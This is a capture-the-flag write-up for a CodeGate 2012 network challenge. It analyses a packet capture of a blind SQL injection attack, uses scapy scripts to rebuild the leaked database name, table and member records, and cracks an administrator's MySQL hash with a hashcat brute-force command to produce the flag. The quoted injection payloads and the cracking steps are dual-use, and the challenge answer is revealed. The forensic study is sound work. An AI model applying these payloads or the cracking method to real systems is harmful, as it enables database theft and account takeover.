Challenge
Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
Find the administrator’s account information which was leaked from the site.
For reference, some parts of the packet was blind to XXXX.
Answer : strupr(md5(database_name table_name decode(password_of_admin))) (‘ ’is just a character)
http://repo.shell-storm.org/CTF/CodeGate-2012/Network400/80924D4296FCBE81EA5F09CF60542AE7
Summary
Given a pcap file (again) captured from an attack, we need to find information about database name, table name, administrator’s password in plaintext.
This challenge requires basic network analysis skill, some knowledge of Blind SQL Injection and password recovery tools.
Solution
Browsing the pcap file using wireshark, this is obviously a Blind SQL Injection attack.
GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1 Accept-Encoding: identity Accept-Language: en-us,en;q=0.5 Host: www.cdgate.xxx Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close HTTP/1.1 200 OK Date: Wed, 22 Feb 2012 09:01:54 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-2ubuntu4.1 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1 Accept-Encoding: identity Accept-Language: en-us,en;q=0.5 Host: www.cdgate.xxx Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close HTTP/1.1 200 OK Date: Wed, 22 Feb 2012 09:01:54 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-2ubuntu4.1 Vary: Accept-Encoding Content-Length: 4 Connection: close Content-Type: text/html
Some first requests are just for checking the responses of server to some random injected queries. We can easily notice that if the expressions in injected queries return False, HTTP response will have “Content-Length: 0”, otherwise the expressions return True. Another thing is that all the attacking queries had the same pattern of … [EXPRESSION] > [VALUE] … As the operators were all ‘>’, for each [EXPRESSION] we only need to catch the last [VALUE] of ‘False’ responses.
We created a python script to parse this pcap file:
import sys from scapy.all import * import urllib, string packets = rdpcap("network400") len_packets = len(packets) l1 = [] l2 = [] i = 0 while i < len_packets: if 'Raw' in packets[i] and packets[i].payload.dst == '192.168.1.41': l1.append(urllib.unquote(str(packets[i]['Raw']).split("r")[0])) while True: i+=1 if 'Raw' in packets[i]: if packets[i].payload.dst == '192.168.1.8': content = str(packets[i]['Raw']) if 'Content-Length: 0' in content: l2.append(False) else: l2.append(True) break i+=1 for i in range(len(l1)): print l1[i] print l2[i]
Here’s a part of the output:
…
GET /sc/id_check.php?name=music’ AND CONNECTION_ID()=CONNECTION_ID() AND ‘YOxWw’=’YOxWw HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ISNULL(1/0) AND ‘wSwEm’=’wSwEm HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 51 AND ‘zqAWP’=’zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 54 AND ‘zqAWP’=’zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 56 AND ‘zqAWP’=’zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 55 AND ‘zqAWP’=’zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 51 AND ‘zqAWP’=’zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 48 AND ‘zqAWP’=’zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 1 AND ‘zqAWP’=’zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 51 AND ‘yFdDA’=’yFdDA HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 48 AND ‘yFdDA’=’yFdDA HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 49 AND ‘yFdDA’=’yFdDA HTTP/1.1
True
…
We extended the script to print out only the leaked characters
import sys from scapy.all import * import urllib packets = rdpcap("network400") len_packets = len(packets) cur_s = None last_false_value = None result = "" i=0 while i < len_packets: if ('Raw' in packets[i]) and (packets[i].payload.dst == '192.168.1.41'): query = urllib.unquote(str(packets[i]['Raw']).split("r")[0]) if ">" in query: s,v = query.split(">") v=chr(int(v.strip().split(" ")[0])) if cur_s != s and last_false_value != None: result+= last_false_value cur_s = s else: v = None while True: i+=1 if 'Raw' in packets[i]: if packets[i].payload.dst == '192.168.1.8': content = str(packets[i]['Raw']) if 'Content-Length: 0' in content: last_false_value = v break i+=1 print result
The output looks better (but lack of information about queries):
2 information_schema cdgate 17 CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS 1 member 3 cdgate 6 name id email sex level passwd 11 monitor@cdgate.xxx 08b5411f848a2581a41672a759c87380 2 monitor *1763CA06A6BF4E96A671D674E855043A9C7886B2 f apple@cdgate.xxx apple 3 apple *C5404E97FF933A91C48743E0C4063B2774F052DD m music@cdgate.xxx music 6 music *DBA29A581E9689455787B273C91D77F03D7FAD5B m computer@cdgate.xxx computer 2 computer *8E4ADF66627261AC0DE1733F55C7A0B72EC113FB f com@cdgate.xxx com 3 com *FDDA9468184E298A054803261A4753FF4657E889 f lyco@cdgate.xxx lynco 4 *EEFD19E63FA33259154630DE24A2B17772FAC630 *0ECBFBFE8116C7612A537E558FB7BE1293576B78 f mouse@cdgate.xxx mouse 4 *87A5750BB01F1E52060CF8EC90FB1344B1D413AA *6FF638106693EF27772523B0D5C9BFAF4DD292F1 m root@cdgate.xxx root 6 root *300102BEB9E4DABEB8BD60BB9BB6686A6272C787 f desktop@cdgate.xxx desktop 1 desktop *DDD9B83818DB7B634C88AD49396F54BD0DE31677 f www@cdgate.xxx 4eae35f1b35977a00ebd8086c259d4c9 8 www *3E8563E916A490A13918AF7385B8FF865C221039 f notebook@cdgate.xxx notebook 8 fb5d1b4a2312e239652b13a24ed9a74f *18DF7FA3EE218ACB28E69AF1D643091052A95887 m
By combining outputs of these 2 scripts we could see that database is cdgate and table name is member. These information were followed by a number of member records, the value for each record were in order of email, id, level, name, password, sex. There was only one user desktop@cdgate.xxx with level=1, the password was hashed hence we let hashcat do the rest:
$ echo DDD9B83818DB7B634C88AD49396F54BD0DE31677 > hash $ ./hashcat-cli64.bin -m300 -a3 --bf-cs-buf=abcdefghijklmnopqrstuvwxyz0123456789 hash outdir ................ Charset...: abcdefghijklmnopqrstuvwxyz0123456789 Length....: 6 Index.....: 0/1 (segment), 2176782336 (words), 0 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: - plains, 13.99M words Progress..: 1360425204/2176782336 (62.50%) Running...: 00:00:01:37 Estimated.: 00:00:00:58 ddd9b83818db7b634c88ad49396f54bd0de31677:etagcd All hashes have been recovered
Bingo! The password is etagcd, it’s time to build the flag:
>>> hashlib.md5('cdgate|member|etagcd').hexdigest().upper(); 'AB6FCA7FFC88710CFBC37D5DF9A25F3F'